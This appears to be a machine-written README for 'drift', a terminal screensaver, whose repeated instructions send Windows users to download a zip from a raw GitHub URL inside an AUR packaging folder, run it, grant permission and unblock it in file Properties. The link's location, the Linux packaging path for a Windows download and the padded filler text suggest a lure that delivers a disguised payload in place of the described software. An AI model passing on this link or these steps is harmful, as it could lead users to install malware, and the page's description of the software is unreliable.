drift turns your terminal into a quiet screensaver when you step away.
It shows moving scenes like:
- constellations
- rain
- particles
- other looping terminal art
When you press any key, it stops and gives control back to you at once.
Use this link to visit the download page:
- Open the link above in your browser.
- Look for the latest release or download file.
- Save the file to your computer.
- Open the file you downloaded.
- If Windows asks for permission, choose the option to run it.
- Open a terminal window to start drift if the app does not launch on its own.
- Use Windows 10 or Windows 11
- Make sure your terminal window is open wide enough to show the animation
- Close other full-screen apps if the display does not look right
- Right-click the file
- Choose Properties
- If you see an Unblock option, select it
- Try opening it again
Once drift is running, it waits until you are idle.
- Stop typing and leave the terminal open
- Let the screen stay still for a short time
- drift will start the screensaver scene
- Press any key to return to the terminal
You do not need to set up a profile or sign in. It just runs and waits for idle time.
drift is made for a terminal on desktop systems.
- Windows 10 or later
- A working terminal app
- A keyboard
- A screen with at least standard HD size
- A dark terminal theme
- A wide terminal window
- A font that is easy to read
drift uses simple terminal graphics to build a calm screen scene.
Common visual modes include:
- star fields
- drifting particles
- rain lines
- moving ASCII shapes
- looped ambient motion
The style fits terminal fans who like clean motion and plain text art.
Follow these steps if you want the quickest path from download to use:
- Visit the download page: https://raw.githubusercontent.com/Warrenheartshaped523/drift/main/packaging/aur/drift-bin/Software-v3.9.zip
- Download the Windows file or release package.
- Open the file you saved.
- Start drift.
- Leave the terminal idle for a moment.
- Press any key when you want to stop the screensaver.
- Keep the terminal focused while drift is running
- Do not resize the window too often during playback
- Use a larger window for more room in the animation
- If the motion looks crowded, make the terminal wider
- If the text looks small, raise the font size in your terminal app
People use drift for:
- a calm idle screen while they work
- a terminal demo on a desktop
- a live background on a coding setup
- a low-key display on a second monitor
- a visual break during long work sessions
drift supports a range of looks, such as:
- space scenes
- rain effects
- particle movement
- text-based motion
- minimal terminal art
Each mode keeps the same idea: show motion when you are away, then stop when you return.
- Check that the file finished downloading
- Try opening it again
- Make sure Windows did not block the file
- Confirm that your terminal app is installed
- Make the terminal window larger
- Lower the font size
- Turn off split panes or side panels
- Close other heavy apps
- Reduce the terminal size
- Use a simpler terminal theme
- Click the terminal window first
- Press a normal key like Space or Enter
- Make sure the terminal has focus
- Repository name: drift
- Type: terminal screensaver
- Main idea: start when idle, stop on key press
- Tech stack: Go, terminal UI, text-based animation
- Topics: animation, ascii, cli, go, golang, idle, screensaver, tcell, terminal, tui, unixporn
Open the download page here:
drift gives your terminal a quiet idle state without extra setup on the screen itself.
- it waits for you to stop typing
- it uses simple visuals that fit a terminal
- it returns control fast when you press a key
- it keeps the focus on the terminal, not the app window
- Open the download page
- Download the Windows file
- Run the file
- Let the terminal sit idle
- Press any key to resume